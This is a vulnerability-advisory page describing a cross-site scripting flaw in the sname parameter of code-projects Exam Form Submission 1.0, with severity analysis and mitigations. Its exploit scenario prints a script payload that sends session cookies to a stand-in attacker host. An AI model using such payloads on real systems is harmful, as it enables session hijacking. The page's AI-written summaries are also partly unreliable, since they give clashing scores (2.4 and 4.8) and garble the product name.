EUVD-2026-16529Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS vector (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N/E:P/RL:X/RC:R) indicates: remote attack surface (AV:N), low attack complexity (AC:L), but high privilege requirement (PR:H), requiring user interaction (UI:R), and scoped to the current user context (S:U). Impact is limited to integrity (I:L, no confidentiality or availability loss). However, the E:P flag signals publicly available exploit code, elevating practical exploitation probability. The absence of EPSS data prevents quantitative likelihood assessment, but the combination of high authentication barrier (PR:H) with mandatory user interaction (UI:R) significantly constrains real-world risk-an attacker must first compromise or be an administrator, then socially engineer another admin to click a malicious link. The low CVSS score (2.4) aligns with these constraints. This is a low-priority vulnerability: while exploitable, it requires significant preconditions that limit spontaneous or mass-scale exploitation. |
| Exploit ScenarioDerived | An attacker with administrative credentials (or who has compromised an admin account) crafts a malicious URL containing JavaScript in the sname parameter-for example, /admin/update_s7.php?sname=<script>fetch('attacker.com/steal?cookie='+document.cookie)</script>. When a second administrator visits this link (via phishing email or forum post), the payload executes in their browser context, potentially exfiltrating session cookies or performing unauthorized exam form modifications. Publicly available exploit code on GitHub (https://github.com/Niuzzz123/CVE-Niuzzz/issues/1) lowers the technical barrier for such attacks, though the requirement for both high-privilege authentication and user interaction significantly limits practical exploitation frequency. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 27, 2026
Stored cross-site scripting (XSS) in code-projects Exam Form Submission 1.0 allows authenticated remote attackers to inject malicious scripts via the sname parameter in /admin/update_s7.php, potentially compromising administrator sessions and enabling unauthorized actions. Publicly available exploit code exists for this vulnerability, though it requires high-privilege authentication to trigger. The CVSS 2.4 score reflects limited impact (information integrity only) and the requirement for authenticated access and user interaction, but the public availability of working exploit code elevates practical risk.
RemediationAI
No vendor-released patch version is identified at time of analysis; contact code-projects directly via https://code-projects.org/ to request a security update addressing CWE-79 input validation. As interim mitigations: (1) restrict administrative access to /admin/update_s7.php by IP allowlist or authentication layer; (2) implement Content Security Policy (CSP) headers to mitigate XSS payload execution (e.g., script-src 'self'); (3) apply server-side input validation and HTML entity encoding to the sname parameter before any database or output operation; (4) conduct code review of all admin endpoints for similar XSS flaws. Until patched, limit administrative panel access to trusted networks and educate admins not to click external links while logged in.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from improper input validation and output encoding in a PHP-based exam management application (code-projects Exam Form Submission). The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic reflected or stored XSS flaw where user-supplied data in the sname parameter is rendered in HTML context without sanitization. The affected endpoint /admin/update_s7.php processes form submissions intended for updating examination-related data but fails to encode or validate the sname input before displaying it to administrators. This is a server-side PHP application (cpe:2.3:a:code-projects:exam_form_submission) that lacks contextual output encoding mechanisms.
Know when Exam Form Submission gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
A weakness has been identified in code-projects Exam Form Submission 1.0/7.php. This impacts an unknown function of the file /admin/update_s7.php. This manipulation of the argument sname causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.
Executive ViewAI
Organizations using A weakness should be aware of moderate risk from CVE-2026-4909, a cross-site scripting vulnerability rated CVSS 4.8. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in code-projects Web Application SQL and XSS
View all 2More in Exam Form Submission
View allUnrestricted file upload in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to upload arb
SQL injection in code-projects Exam Form Submission 1.0 exposes the underlying database through the `credits` parameter
SQL injection in code-projects Exam Form Submission 1.0 exposes the backend database to unauthorized read and write oper
SQL injection in code-projects Exam Form Submission 1.0 exposes the `/admin/delete_s3.php` endpoint to remote manipulati
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s2.php endpoint to remote exploitation
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s1.php endpoint to remote database man
SQL injection in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to extract or modify dat
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the 'credits' parameter in
SQL injection in code-projects Exam Form Submission 1.0 via the 'credits' parameter of /admin/update_s3.php enables remo
SQL injection in code-projects Exam Form Submission 1.0 exposes the application's database to remote manipulation throug
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the backend database via t
SQL injection in code-projects Exam Form Submission 1.0 exposes the unauthenticated /register.php registration endpoint
Exploit-DB